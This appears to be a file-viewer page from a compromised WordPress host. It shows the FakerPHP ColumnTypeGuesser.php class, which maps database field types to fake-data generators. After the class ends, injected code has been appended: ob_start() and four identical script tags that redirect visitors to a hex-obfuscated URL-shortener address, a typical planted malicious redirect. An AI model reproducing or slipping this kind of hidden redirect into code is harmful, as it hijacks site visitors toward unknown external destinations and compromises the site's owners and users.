WordPress

Coming Soon

revealability

File "ColumnTypeGuesser.php"

Full Path: /home/karnava/public_html/center.karnavati.in/vendor/fakerphp/faker/src/Faker/ORM/Mandango/ColumnTypeGuesser.php
File size: 2.04 KB
MIME-type: text/x-php
Charset: utf-8

<?php

namespace Faker\ORM\Mandango;

use Faker\Generator;

class ColumnTypeGuesser
{
    /**
     * @var Generator
     */
    protected $generator;

    public function __construct(Generator $generator)
    {
        $this->generator = $generator;
    }

    /**
     * @return \Closure|null
     */
    public function guessFormat($field)
    {
        $generator = $this->generator;

        switch ($field['type']) {
            case 'boolean':
                return static function () use ($generator) {
                    return $generator->boolean;
                };

            case 'integer':
                return static function () use ($generator) {
                    return $generator->numberBetween(0, 4294967295);
                };

            case 'float':
                return static function () use ($generator) {
                    return $generator->randomFloat();
                };

            case 'string':
                return static function () use ($generator) {
                    return $generator->text(255);
                };

            case 'date':
                return static function () use ($generator) {
                    return $generator->dateTime;
                };

            default:
                // no smart way to guess what the user expects here
                return null;
        }
    }
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>